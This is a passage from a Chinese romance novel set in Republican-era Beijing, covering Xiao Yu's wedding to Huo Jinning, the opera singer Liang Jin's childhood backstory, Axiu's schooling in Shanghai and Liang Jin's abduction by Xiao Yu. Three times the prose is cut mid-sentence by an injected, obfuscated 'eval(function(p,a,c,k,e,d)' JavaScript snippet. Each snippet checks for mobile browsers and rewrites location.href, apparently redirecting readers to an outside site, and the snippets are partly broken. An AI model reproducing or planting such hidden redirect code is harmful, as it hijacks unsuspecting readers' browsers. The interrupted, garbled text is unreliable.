一句话将屋内气氛降到了冰点,廖季生脸色十分难看,萧瑜垂眸没甚表情的夹了一筷子菜。 霍锦宁倒是笑容未变: “廖大哥对黄历风水也有研究?那么廖大哥以为哪天日子尚可?” “霍二弟别误会,大喜之事我岂能不识抬举?只是大选在即,难保有歹人借机生事,亦或者南方的乱党图谋不轨,这可就扫了兴了。” “廖大哥所言极是,不知廖大哥有何高见?” 廖伯明一笑:“贤弟大婚,我不能坐视不理,如今我正奉命维/稳京城治安,霍二弟大婚那日,我叫手底下的弟兄在迎亲路上给你保驾护航如何?” “这如何使得?” “举手之劳,算我送霍二弟的大礼,霍二弟莫非有何不满?” 廖伯明是武人,没那么多弯弯道道,说一不二亦是不讲价钱,气势上也压人三分,让你不得不低头。 “不敢。” 霍锦宁从始至终脸色都不曾变过一分,仿佛荣幸之至,就此举杯:“廖大哥如此为我着想,那我和瑜儿就在此敬廖大哥一杯,先行谢过了。” “贤弟客气。” 廖伯明喝过酒,便道:“廖某军务在身,就不打扰诸位了,告辞。” “廖大哥请——” 廖伯明起身出门,临抬脚迈出门时,微微回首,状若不经意的说了一句: “三弟,娘亲最近身子不好,有空回家看看,别在外面太贪玩。” 说罢头也不回的带人离开。 砰——的一声,廖季生摔下了手中酒杯,脸色铁青。 屋中众人,面面相觑,噤若寒蝉。 霍锦宁却不慌不忙给萧瑜夹了颗她刚才夹半天也没夹起来的卤鹌鹑蛋,笑道: “再不吃菜要凉了。” 因着廖伯明这一插曲,一顿酒席最后不欢而散,大家陆续告辞,剩得萧瑜、霍锦宁和廖季生三人,索性又去了上次的小酒馆。 廖季生一直闷头喝酒,一言不发。 霍锦宁气定神闲,混若无事。 萧瑜却有些坐不住了,她放下酒盅:“这廖伯明是不是有些太嚣张了?” 霍锦宁悠悠道:“不够嚣张,自黎总统被迫离京,曹大帅已是大权在握。看这架势,十月大选也是志在必得,他明朝就是驸马爷,有什么可顾及的?” 萧瑜嗤笑了一声,驸马爷?真当现在还是一家天下,京师前有狼后有虎,奉系皖系虎视眈眈,南方革命如火如荼。发声明支持他的美国佬上个月中风死了,曹真大权独揽,又能安稳坐几天? “他真能当选?”萧瑜有些迟疑,“我听闻在京议员人数不足,不符合法定程序,国会里面还是有不少不怕死的硬骨头。” “曹大帅财大气粗,明码标价,一票——” 霍锦宁手指沾酒,在桌上写了个数: 五千。 萧瑜心中略一估算,皱了皱眉:“疯了,有这么多钱,扩充军备的话多少个奉军打不下来?就非得要个总统的名号?” “这还不过是普通价,特别价更高。”霍锦宁轻声一笑,“如今不是什么都讲究个按章办事。” “贿选就是章程?”萧瑜心下不安,“他哪来这么多钱?” 霍锦宁只答了六个字: “捉财神,借军饷。” 近来河北一带抓不少鸦片烟草商,在天津受了特别法庭审理,穷的杀,富的罚,赚的盆满钵满。还有以军饷为名,直隶各县刮地皮一样收上了不少筹款。 这世道,并没有什么王法可言。 萧瑜轻轻一叹:“所以廖伯明这回找上你,是要拉还是要宰?” “半拉半宰,舍当然要舍,可霍家他动不了,也吃不下。”霍锦宁摇头笑了笑。 萧家早就抱上了曹大帅的大腿,他这个萧家女婿也跑不了。军队仪仗迎亲,车马费还能少?不过廖伯明话也不全是虚,他未尝没有借机拉着军队警戒,防止城内骚动的目的。 “不是好事,也不是坏事,小事而已。”霍锦宁竟是全然没有放在心上,甚至还有闲情逸致和萧瑜开玩笑: “想来那天军队开路,风光大办,你现在反悔不坐轿子想骑马还来得及。” 萧瑜白了他一眼,转头看向廖季生,忍不住道:“三哥,你别喝了。” 廖季生已经喝得红头胀脸,突然被萧瑜夺了酒杯,一时还有点反应不过来: “给,给我,我不喝酒,又能干什么......” 方才廖伯明那句话,不外乎他廖季生所谓的断绝关系,或者投身门子,哪怕在道上混出了天大的名堂,在廖家人眼里都是孩子胡闹,上不得台面。 廖季生痴痴傻笑,嘴里含糊不清道:“你、你知不知道当年保定军校为什么停办?” “名义上向德日学习,培养精英军官,实则校内延续了北洋军的腐朽作风,庶务贪污舞弊,学生缺衣短食,教官野蛮压制,罚跪罚冻,动辄拳脚相加,更有甚者拿着马鞭监督,以枪炮威胁,有位广西的同学竟被生生逼疯了。” “后来方震先生来到军校接任校长一职,与袁大总统签下生死令状,如果整顿不力,愿自戕以谢天下。彼时学生都深受感动,积极配合。却不想段将军的陆军部不满其所为,大掣其肘,百方刁难,而校内也确顽疾根深,贪腐之风实在无法断绝。方震校长为了实践诺言,某天突然召集全校训话,对学生勉励教导,谆谆善诱,而后当众举枪自戕,倒在了血泊之中。” 廖季生一口气说完了这一大段话,微微喘了口气,双目泛红,轻轻一笑: “而后,学生便集体暴动了。” 在黑暗无望的生活里,遇见一位真心为学生,为国家的师长,是什么感觉?而他们眼见这位师长遭人陷害,沦为派系斗争的牺牲品,最后死在面前,这又是什么感觉? 大好男儿立志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424887|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从军,纵不为精忠报国,又岂无一腔热血?他们终于拿起了刀枪,奋起反抗。 反抗这些残暴的教官,这个腐朽的政府,这个动乱的国家,这个灰暗的时代。 彼时校中官员中饱私囊,已拖欠军饷数月,他带人把军校洗劫一空,放火烧了营房,引得校方求助了当时驻防保定军队出面镇压,把学校四面包围起来,用机枪大炮指向学校相威胁,学生们已经杀红了眼,群情激愤,一不留神就开了火,双方俱是死伤惨重。 他不愿意重回军校,一是愧对死去的同窗好友,二是对廖家一心巴结的北洋政府彻底失望了。 霍锦宁和萧瑜扶着喝得烂醉的廖季生出门的时候,已经月上中天了。 “霍吉,你开车先送廖三少回家。” “是,少爷。”霍吉应下,还不忘回头和霍祥说了句什么。 霍锦宁这回从上海回来,这哥俩也是久别重逢,在一起说说话很正常,但萧瑜总觉得两个人鬼鬼祟祟有什么不对劲。 不经意瞥见了不远处墙根处站的那个身影,她眯了眯眼,叫了一声: “小六子?” 霍祥一僵,转头向小六子看去,跺了跺脚,“你怎么还在这儿?” 萧瑜冷下脸:“怎么回事?” 小六子苦着脸,磨磨蹭蹭的走过来,几乎快哭了。 “小姐,小六子想找你,霍祥大哥不让我进去。” 霍祥闻言一拍脑门,简直恨铁不成钢。 萧瑜基本猜到了怎么回事,小六子找来,肯定又是燕子胡同那边出了事,而她跟霍锦宁在一起,霍祥怎么也不可能让小六子当着霍锦宁的说。 霍祥哭丧着脸:“小姐,您罚吧。” 萧瑜看了并不关心这边的霍锦宁一眼,心烦意乱的摆了摆手,把小六子拉到一边。 “又怎么了?” “小姐,小六子该死,今天不过是出门买菜的功夫,再回来一瞅,云老板就不见了。” 萧瑜皱眉:“谁干的?孙大老爷?” 不应该啊,多久了还为难一个小戏子? “不不不,云老板应该是自己走的,因为他在房间里留下了这个。” 小六子急忙将手里捧了一路的纸包交给萧瑜。 那纸包四四方方,巴掌大小,扁扁的,轻飘飘,装不了什么东西。 萧瑜接过纸包,沉默了片刻,问道:“你跟他说什么了?” 小六子急忙否认:“小六子哪敢呢?” “那他这几天出门了?” “嗯,这,云老板昨天是出门了,他说上妆的粉不够了,硬要出门去买。”小六子自知闯了大祸,支支吾吾道:“您,您也没说不让他出门啊......” 可出门了,听见她要成亲的风言风语了,就直接出走了。 萧瑜叹了口气:“派人去找找,庆祥班不在了,去牡丹胡同看看,找见了别惊动,告诉我就成。” 腿长在他身上,人想走,她还能拦吗? 打开纸包,里面是一方素白的手帕,打从她第一次见他时,他就带在身上,几乎形影不离。 手帕料子普通,样式寻常,展开来看,仅有的纹饰,是右下角用水蓝色的丝线绣着四个小字: 怀瑜握瑾 这手帕是萧瑜的。 那是很久很久以前的事了,久到她根本记不得这手帕从何而来,又从何而去,如何到了梁瑾的手里。 她只是想起了那天他说过的话: 旁人学戏,是为了混口饭吃,我学戏,是为了二小姐你。 25. 第 25 章 十月初三,这天是个万里无云,秋高气爽的好日子。 大喜之日,萧府上下忙得不可开交,当事人本人却还优哉游哉在新房里吃着一碗炒肝。 大早上的少吃一顿,她便吵着饿,下人拿来糕点她也不吃,偏偏支使着霍祥跑三条街外摊子上买的。 喜娘在一边急得满头大汗:“诶呦喂,我的小姑奶奶啊,新娘子可不能吃东西,您那妆可不是白画了。” “那就擦了呗。” 萧瑜漫不经心道。 认识二十好几年了,涂脂抹粉给谁看啊。 萧珏刚哭过一起,趴在她膝盖上一抽一抽的,眼含热泪。 萧瑜把他的小脸扳过来,笑道:“我没哭嫁,你怎么还替我哭上了?” 萧珏顿时又红了眼眶,抽抽搭搭说:“金环、金环姐说,姐夫是好人,一定会对姐姐很好,很好...可珏儿舍不得姐姐走......” 萧瑜好笑的拧了拧他的脸蛋,拿起一旁的帕子扔给他,嫌弃道:“赶紧擦擦鼻涕,告诉过你挺大个大男孩不要动不动就哭鼻子,我又不是一去不回了。” 萧珏一边擦着眼泪,一边委屈道:“男人就不能哭吗?那男人真的好惨。可是上次我还看见那个大哥哥哭来着...” “哪个大哥哥?” “就是,就是那个在后门等了你好多天,特别好看的哥哥......” 萧瑜脸上的笑淡了下来,垂眸不语。 金环赶紧把萧珏拉到一边,哄道:“小少爷,乖啊,咱们来这边看着,不说话,别耽误了小姐上轿的吉时。” 说话间吉时已到,迎亲的队伍到了府外。 萧瑜没穿嫁衣,故而盖头省了,也不用喜娘搀扶,独自被一群丫鬟簇拥着来到门外。 她这一身骑马装,是找京城瑞蚨祥最好的师傅,最好的绣娘赶制的。白色蕾丝衬衫,红丝绒马甲绣着金线,雪白的鹿皮高筒短跟皮靴,衬得人腿长腰细,外罩了一件大红的短绒披风,领口围了一圈柔软的白貂毛。肤白的人穿红色最是娇艳,饶是萧瑜也被衬出了三分新娘子的明媚动人。 为了与她相配,霍锦宁今日也没有西装革履,而是一套款式形同的骑马装,白衬衣,黑马甲,黑色漆皮高筒靴。头发上了油,一水儿梳到了脑后,罕见的英气。 他双手背在后面,长身玉立,笑望着萧瑜从门内一步步走出来,直到走到他面前。 他向她伸出手,笑了笑:“走吧。” 萧瑜站在萧府大门门口,静默看向她。 她身后是庭院深深,勾心斗角,一片污浊泥泞,暗夜漫长仿佛看不到尽头。 他身后是锣鼓喧天,十里红妆,一片太平盛世,锦绣光明好似触手可及。 于是她伸手,放在他的掌心,跨过千山万水,迈出了这一步—— 那一天北京里热闹非凡,大街小巷轰动了半个四九城。 骑兵营高头骏马开路,数十辆名牌豪车压阵,八抬大轿气派十足,十里红妆铺满了半条街,接亲的队伍浩浩荡荡的穿过长安街,跨过了半个北京城。 沿途花瓣喜糖洒得遮天蔽日,男女老少前赴后继的围观,津津乐道的议论,都说这场联姻,是盛世良缘,以萧家门庭,以霍家财力,往前十年,往后十年都不会再有。 萧瑜坐在轿子里,掀开了窗帘一角向外看去,只见密密麻麻的人群,慢慢无际的队伍,而他们贺的却是一场有名无实的婚姻。 就如同这眼下这粉饰太平,暗流涌动的京城。 鲜花着锦,烈火烹油,盛极必衰,否极泰来。 那一日究竟有多远? 愿这天下,终有一天,如你如我所愿。 ...... 白日喧嚣热闹的街道,入夜之后是一片凄凄惨惨的冷清。 秋风打着旋吹起街角的落叶,混着灰渣子,一不小心就眯了眼。 空寂无人的街上,摆了一天热面摊儿的老伯刚要收摊,就听一个人问道:“老伯,可还有面?” 老伯回头,却见是一个年轻后生,身影单薄,灰色长衫,挎着个布包袱,勉强冲他笑了一下。 老伯愣了愣:“有,有的,就是不多了。” “没关系,我来一碗。” 老伯应下,回身去拿笊篱,心里还有些犯嘀咕,这后生长得可真俊啊,俏得像从年画上走出来的金童玉女。诶呀,可别是那话本子里说的狐仙黄仙,但光听说狐狸精变成女的,没听说过变成男的啊...... 老伯把今天最后一把面条下锅里煮熟,盛到碗里,索性把剩下的多半碗香菇肉卤子全倒给了他。 面端上来后,梁瑾垂头看着热汤散发着的丝丝白气,久久没有动。 半晌,他拿起筷子慢慢吃了一口,笑了笑: “还是这个味道。” 老伯正在擦锅台,闻言乐呵出来:“那是,老头子我在这儿卖了半辈子面条,打光绪爷那时候起,一直都是这个味儿,老客谁提谁不夸上一句好。” 梁瑾抬头看了看街对面那家早早关了门的摩登电影院,轻声道:“那里原来是家戏楼呢。” “对啊,早年间那可是京城第一大戏楼,和泰平,可惜后来一场大火全烧了,这几年改成了电影院。诶,这都是十几年前的事儿了,你怎么知道?” 老伯想起刚才的自己的猜测,心里有些发毛。 梁瑾垂眸,淡淡笑了一下。 是啊,这都是十二年前的事儿了,一转眼十二年过去,就他一个人痴痴的记得。 . 十二年前的梁瑾,不过是个又瘦又小的穷孩子。 爹娘都死了,他被送到戏班子里,自己也大病一场,好不容易捡回一条命,人却有些烧傻了,以前的事儿忘得七七八八,连名字都忘了。师父说他姓梁,于是所有人都叫他梁子。 戏班子里有十几二十个和他一般大的男孩子,他们每天起早练声,压腿,下腰,没日没夜的苦练基本功。 练声,要天寒地冻的早晨,光着膀子冲着河水吊嗓子;压腿,要直接将两腿劈开绑在柱子上,疼得把嘴唇都咬烂;累也不能说累,苦也不能喊苦,动作慢了一拍,唱词错了一句,就要一顿好打,柳条抽小腿,又细又长,钻心的疼,不抽断不算完。 当年他进戏班子签的书契上,白纸黑字写着:倘有伤亡病死,听天由命,顽劣不服,打死无关。 这世道穷苦人家能活着,就是万幸,苦不苦,累不累不算什么。师父说,要入行,要肯吃苦,要唱,就要唱成角儿。 可这话,他当时并不懂。 他只知道自己又因为一点小错,被师父罚在大雪纷飞的院子里跪一整天。他跪得双腿毫无知觉,冻得浑身僵硬,他觉得自己今天可能会死在这里了。 可他不想死在戏班子里,上个月二庆死了,不肯和班主讨饶被活活打死了,班主还要指着他的尸体对大伙儿道别学这个傻子,他不希望他死后还要被这么骂。 他要死在外面,随便找个什么地方,大雪一盖,白茫茫的干净。 后院静悄悄的没有人,只有一棵歪脖枣树,靠墙跟孤零零的立着。他不知道哪里来的力气,都要冻僵了的孩子,拼死爬上树,抠得十指流血,气息奄奄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424888|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的趴在墙头上,再也使不出一丝力气,大头冲下栽了下去,摔得全身都散架了。 就这样吧,就死在这里,哪怕只有一墙之外的地方也好。 鹅毛大雪纷飞而落,很快在他身上盖上了薄薄一层,他闭上眼,意识越来越飘忽,越来越溃散...... 忽而间,他闻到一股淡淡的,柔柔的,温热熏香,像花香,又像檀香,像一切能够想象到的美好。 销魂蚀骨,欲罢不能,引人沉沦,引人堕落。 那是萧府经年累月的鸦片香。 “小四子,你说那戏词儿是怎么唱的,天上掉下个林妹妹?” 有人走到他身边,俯下身,一柄折扇挑起了他的下巴,轻笑了一声: “哟,还真是林妹妹呀!” 他勉勉强强睁眼看去,只见是个半大的少年,白衣狐裘翡翠锦帽,清秀容貌比那颈边白狐毛领还要白上三分,唇角浅笑,一双桃花眼颇有兴趣的打量着他: “谁家的漂亮小子偷跑出来玩啊?” 那一刻,他在泥下,她在云上,他不知道她是萧家二小姐,也不知道她早早定了人家。 只不过在这一个,她稀松平常的一天,他生死挣扎的一天,他摔在她面前,她救了他。 “诶呦喂,小祖宗,您偏生嫌闷要下轿子自己走,这戏都开场了,眼瞅着再不到可就散场了啊。” “二哥哥临时有事,独我一人多没意思。再说,前头不过都是些走过场,压轴戏到了就成。算了算了,也该到点了,走吧。” 小四子瞧了瞧地上冻得半死不活的小子,迟疑了一下:“那,那他怎么办?” “怎么办?你先扛着吧,等我听完戏再说。” 于是小四子愁眉苦脸的扛上了这个小子,跟着自家小姐往戏楼走去。 梁瑾迷迷糊糊的觉得自己终于从冬天到了夏天,身边暖暖和和的,让人不想睁眼,可耳边又锣鼓喧天,七吵八嚷,闹得人一刻也消停不了。 猛地清醒过来,他发现自己蜷缩在戏楼的包厢里,不远处炉里炭火旺盛,屋里如阳春三月,热得他头上微微冒汗。 “醒了?冻坏了没有?” 刚才救了他那个小少年斜倚在美人榻上,似笑非笑的看着他。 其实他膝盖、双腿都火辣辣的疼,可他还是不由自主的摇了摇头: “没,没事。” 话音刚落,他肚子却咕噜噜叫了起来,他脸上一红,低头不敢抬起来。 萧瑜噗嗤一乐,吩咐道:“小四子,去街对面给他买碗面。” “得嘞——” 不大一会儿,一碗热气腾腾香喷喷的面条端到他面前。 “吃吧,不是饿了?” 他一天没吃饭,饿的快昏过去了,可他还是忍住了口水,问她:“你,你不吃吗?” “我不爱吃面条。” 于是他再也顾不得许多,伸出冻得青青紫紫的手,抓起筷子大口大口扒拉着面条。 萧瑜无奈,“慢点吃,别噎着。” 随手把桌子上的糕点推过来:“这也给你。” 他怯生生的看了她一眼,而后鼓起勇气拿了离他最近的一块,那糕点方方正正,晶莹剔透,跟块玉似的。 那是他第一次吃豌豆黄,也许以前也吃过,但是忘了,至少是他记忆里第一次吃过。 戏班子大锅饭的年月里,能吃饱是件奢侈的事儿,甜味也是稀罕味道,更不要说什么糕点零嘴儿。 入口即化,香甜清爽,那丝甜意直接甜到了他心底。 往后许多许多年,再也忘不掉。 26. 第 26 章 “你是从戏班子里逃出来的吧?” 看着他傻兮兮的吃着糕点,萧瑜不紧不慢道。 一墙之隔就是庆祥班的院子,他这模样端得是戏班子里养着的小戏子,贸贸然爬墙逃出来,不是饿死在外边,就是抓住回去被打死在里边。 他顿时惊慌失措,蹲下来抱成一小团,生怕下一秒她就叫人把他送回去。 萧瑜又被他逗乐了,“你怕什么呀?我又不打你。你师父打你了?” 他犹犹豫豫的点头。 “你师父打你是为你好,哪有不吃苦就能学到本事的?”她指了指台上那咿咿呀呀唱着戏的旦角。 “瞧见没,你看他多风光,可他背后吃的苦比你多多了。” 他顺着她指的一看,只见台上灯影交织,花团锦簇,那旦角风华绝代,婀娜生姿,顿时有些痴了。 “他是谁?” “他?他是杜丽娘,这一出是《游园惊梦》,沈姨最爱看《牡丹亭》了,所以我也爱看,沈姨最喜欢杜丽娘了,所以我也喜欢。” 他听得一知半解,只知道:“你最喜欢杜丽娘?” “是啊。” “那我也要当杜丽娘。” 萧瑜又是一笑,走到他面前上下打量他,她个头高,足足比他高出一个头来。 “模样倒是够了,可是得再练练。” “我会练!” 他抬头,直勾勾看着她,这样坚定的冲动,自己也不知道从何而来。 她也不当回事,只随口道:“成啊,那你可要记住了,十年功夫无人问,一举成名天下知。等你唱成角儿了,我去给你捧场。” 最后,他还是被萧瑜吩咐小四子送回了戏班子,因为除此之外,他别无去处。 只不过萧瑜跟班主嘱咐了善待他,所以他这次偷跑回去并没有受惩罚,班主反而笑容满面的夸他,说他有福气,被贵人相中了。 彼时他根本不知道所谓的贵人是谁,他怀里只有一方雪白的手帕,因为他临走时眼巴眼望盯着那盘豌豆黄,她随手拿起手帕全包了给他。 那手帕上写着四个字:怀瑜握瑾。 这是他后来找认识字的先生偷偷问的。 他这才知道,她叫萧瑜,是萧府二小姐,和他一个天上,一个地下。 他给自己取名叫梁瑾,此后终他一生,他所做的全部努力,就是一步步的,走向她。 从那天起,他不再活得没有希望,他不再如同行尸走肉没有目的,他练声,他压腿,他上妆,他亮相,全都是为了她,为了遇见她。 人生在世就活着个念想。 他要一直唱下去,唱出名,唱成角儿,唱到有一天,他在台上赢得满堂喝彩,灯火流转间,她在台下拍手叫一声好。 “萧二小姐有赏,大洋三百,白玉扳指一枚——” 我等这一刻,已经等了许多年。 ...... 转眼经年,往事如烟,迷离双眼。 面前的一碗面,已经彻底凉了。 梁瑾定了定心神,拿起筷子,大口大口的吃光了面条,好像当年一样。 白日里那场轰动京城的婚礼,他躲在人群中,全看见了。 她有了好的归宿,他该祝福。 她嫁了指腹为婚的良人,她今夜洞房花烛,她在旁人怀里婉转承欢,而后琴瑟和鸣,子孙满堂,从此他们彼此陌路,再不相干。 他只要一想到,一想到...... 深深的吸了一口气,他忍下了涌上双眼的酸楚湿润,掏出几枚铜板放在桌子上,起身离开了。 他该走了,离开京城,天大地大,去一个再也没有她的地方。 今晚没有月亮,夜黑风高,他紧了紧肩上的包袱,踉跄着往前走。 一辆车子停在了路边,车里下来了几个人,往这边走了过来,他也毫不在意,仍是低着头走自己的。 那几个人却没有和他擦肩而过,而是直奔他冲了过来。 “你们干什么?” 梁瑾猝不及防间被人捉住,来人一声不发,上来就拿布堵住了他的嘴巴,七手八脚绑住了他的四肢,蒙上了他的眼睛,任凭他挣扎不休,直接把他塞进车里,车子碰的一声关上车门,扬长而去。 整个过程不超过三分钟,不远处正在收面摊子老伯围观了这一幕,吓得魂飞魄散,一边大喊“强盗杀人啦!”一边吓得连滚带爬的跑了,连面摊子也顾不得要了。 ...... 阿绣回到家时,天早就黑了,这段日子她每天回来的都是这么晚。 德英女中是光绪二十四年,霍家以霍老夫人的名义创办的,专以收受女子念书的中学。课程采取西式教育方法,重视外文,实科,术科,又兼采中式特点,教授国学、女红,同时开设音乐、美术、体育、手工等十数门课程,课业繁重,五花八门。 在此之前,阿绣仅仅是识字而已,即使经过了家教老师大半个月的补习,她仍是差得很远。每天上课时,她两眼一抹黑,书看不懂,课听不懂,只能在课下独自一个人偷偷抹泪。 全班一共二十二个女学生,她是半路插进班级里的,非常突兀。刚开始,班上的女生会围着她打听她的情况,她老老实实都交代了,自己来自苏州小镇,父母双亡,被好心人资助来这里上学...... 久而久之,同学都疏远了她,她后来才知道,这个班级里的所有女孩子家中非富即贵,只有她一个出身平民。 但是也有例外,坐在她旁边的钱亚萍会主动和她说话,钱亚萍特别开心的告诉她,她也是受霍家七小姐资助来上学的。于是她一遇上不懂的问题就问钱亚萍,钱亚萍也很热心的为她解答,她交到了来到上海后的第一个朋友。 学业上的落后并没有让阿绣丧气,她知道自己差得很多,上学的机会来之不易,她必须珍惜,所以她抓紧一切时间来学习,希望能跟上进度。 车子停下了,可阿绣满脑子还埋头于英文单词书,丁伯叫了她好几声,她都没反应过来。 “姑娘?” 阿绣呆呆的抬头:“啊?” 丁伯无奈:“姑娘,该下车了。” “哦。” 下了车,打开门,一进屋就被屋里温暖的气息和浓郁的饭香包裹住了,阿绣这才反应过来,自己的肚子已经很饿很饿了。 天大地大,吃饭最大。 丁妈今晚做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424889|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一大桌子好饭好菜,正和丁香不停的把饭从厨房端到桌子上。 “哟,姑娘回来了,快洗手吃饭!” “好的!” 阿绣连忙去楼上放下书包,换了衣服,洗漱一番,欢快的跑到饭桌边上,打量着今晚的菜色,开心的问道: “今天是过节吗?怎么这么丰盛?” 东坡肘子,白斩鸡,油爆虾,松鼠桂鱼,八宝饭,葱油海蜇皮......阿绣悄悄数了数,一共有十二道菜那么多,满满当当的摆了一桌子。 丁伯还笑眯眯的拿出一坛上好的花雕,给众人依次倒酒。 “不是过节,胜似过节。” 丁香把倒满了酒的杯子递给阿绣,笑道:“今儿个是咱们少爷的大喜日子,少爷在北京成亲,迎娶少奶奶了!” “这样啊......” 阿绣手里端着酒杯,缓缓的在桌边坐了下来。 原来他真的是回去结婚了。 霍锦宁有未婚妻的事情,她一直都知道,那天在笙溪镇何府,他拒绝了何老爷叫翠歌去陪他,那时候她心底里就不自觉的开始偷偷羡慕起他的那位未婚妻来。 “少爷的...少奶奶是怎样的人呢?” 丁伯夫妇是霍家老人,一直受少爷恩惠,对少爷很是感激,此时一提起少爷的亲事来都是赞不绝口。 丁妈笑意盈盈道:“要说这位少奶奶可跟咱们少爷是天生一对,他两个是门当户对,指腹为婚,从小感情好得如胶似漆,前几年还一起漂洋过海去国外留学,这回一回来,就办了喜事,以后肯定是出双入对,羡煞旁人。” 丁香也接话道:“对对对,我听说少奶奶长得十分标致,书读得厉害,骑马打枪也不在话下,和少爷郎才女貌,真是配得不得了!阿绣你说是不是?” “是啊。” 阿绣发自内心的点了点头。 这样的少奶奶和少爷真是极为般配,也只有这样耀眼的人才能和霍锦宁站在一起。 阿绣心里其实没那么难过,她甚至还有一些些开心。 她从来从来都没有奢望过什么,好吧,也许只有一点点,但只有一点,她希望能离他近一点,她希望能时常见着他,但她从来没有妄想过嫁给霍锦宁,甚至她也没妄想过横插一脚在他和未婚妻之间。 她自知云泥之别匹配不上,也自知霍锦宁身边应该有更好的女子。 而今,他终于与未婚妻喜结良缘,有了可以相伴一生的人,她由衷的为他开心,为他高兴。 嗯,也许难过伤心还是有一点点的,毕竟她只是个十几岁没经过太多事的小娘鱼,但她保证只有一点点。真的!而且只有今晚,不会被任何人瞧出来。 丁伯举杯,激动道:“喜酒我们是吃不成了,但还是要庆祝庆祝,我们祝少爷和少奶奶永结同心,早生贵子!” 四个人开开心心的碰杯。 阿绣是第一次喝酒,辣辣的液体流进喉咙,呛得她咳出了眼泪。 那一晚,她喝醉了,无知无觉,被丁香扶进卧房,倒头就睡,许是做了梦,又许是没有,但却都是开心的。 梦里宝黛终成眷属,少爷和他心爱的姑娘白头到老,厮守一生。 27. 第 27 章 一阵天旋地转,梁瑾被粗暴的扔在了床上。 他缓了好半天,才勉强坐了起来,他嘴巴被堵住,眼睛被蒙上,头上还被罩了个头罩,一点光也不透。 他不知道自己身在何处,也不知道是谁挟持了自己,可不知道为什么,他总是觉得四周有一种很熟悉的感觉...... 吱哟一声,房门被推开,一人大步走进来,站在了他面前。 也不说话,就这么静默看着他。 鼻端隐隐约约嗅到熟悉的熏香和冲天酒气,他脑中有一个荒唐的猜想,心跳不知不觉加快了起来,连呼吸也屏住了。 还没等他反应过来,那人突然上前一步,一把扯掉了他头上的罩子和蒙眼布,死死钳住他的下巴,逼他抬头看去。 梁瑾瞳孔骤缩,愣怔地望着眼前萧瑜近在咫尺的脸。 她还穿着那身白日里成亲的骑马装,烛光下衬得人英气不足,娇媚入骨。梳得一丝不苟的短发,此时有些乱了,几根碎发垂落在光洁的额头,无端显得慵懒。她罕见的画了黛眉,涂了丹口,玉面桃花,双眼半眯半阖,笑得勾魂夺魄。 明明是一身酒气,喝得烂醉的人,却掩不住那一身风流倜傥,春风得意。 是了,今夜洞房花烛,人生喜事,如何不得意? 她抬起一条腿踩在床边上,居高临下盯着,一手捏着他的下巴,捏得人生疼,另一只手却轻轻抚上他脸上那道伤疤。 疤痕已经变得极淡极淡,只剩个浅浅的印子,不仔细瞧都瞧不出来。 浓郁的酒气喷在他脸上,他听她冷笑道: “不是说要给我在台上唱三天三夜的戏吗?不是说认定了就是一辈子吗?不是说什么也不求吗?你跑什么呀?你个破了相的杜丽娘,你以为谁会要你?!” 话说出口,她自己也愣了一下。 失神片刻,似乎不知道自己在哪里,也不知道自己在做什么。 僵持了一会儿,她慢慢放开了手,颓然转身坐到一旁的椅子上,垂头单手抚额,静默不语。 原来这里是燕子胡同小四合院的西厢房,他住了小半年的地方。 梁瑾坐在床边,呆呆的看着她。 她喝醉了,醉到神志不清,醉到胡言乱语,醉到天旋地转,醉到他一个字也不敢相信她的话。 不知过了多久,她缓过神来,慢慢直起身子,看向梁瑾。 她眯起眼睛,双眼努力的聚焦,就这样恍惚的看了半天,蓦然轻轻一笑,有些嘲讽: “你说这样折腾究竟为什么?到底是我能嫁了你,还是你能嫁了我?” 六岁起她被当做男孩子养,日子过得久了,她也觉得这样没什么不好,短头发方便又凉快,她能上学,能打架,能逛窑子能喝花酒,逍遥自在。 她好怜香惜玉,好美貌佳人,可她不喜欢小月娥;她厌恶萧子显,厌恶男欢女爱,她只想嫁给霍锦宁,可霍锦宁是她亲哥哥。 她什么都不能给梁瑾,也什么都不想给梁瑾,可她舍不得他的杜丽娘,舍不得再也见不到他。 这世上自来只有她负旁人的份,哪有旁人负她? 她踉跄着走过去,单膝跪上床沿,一点一点解开他手上绑着的绳子,头晕眼花,手还不听使唤,解了好久这才解开。 然后她又拿开了堵在他嘴上的布条,四目相接,呼吸相闻。 她在心里轻轻叹了口气,垂眸淡淡道: “如果你真的什么都不求,就留下来吧。” 说完,她随手将布条一扔,转身欲走。 梁瑾从身后叫住她。 “萧瑜!” 这是他头一次喊她名字。 她回头,只见他从床上站起来,一步一步走向她,目光灼灼: “你知道你这话是什么意思吗?你知道你这么做意味着什么吗?我会当真的。你让我留,我留,可从此以后,你想赶我也赶不走了。” “你威胁我?” “不,不是威胁,我,我只......” 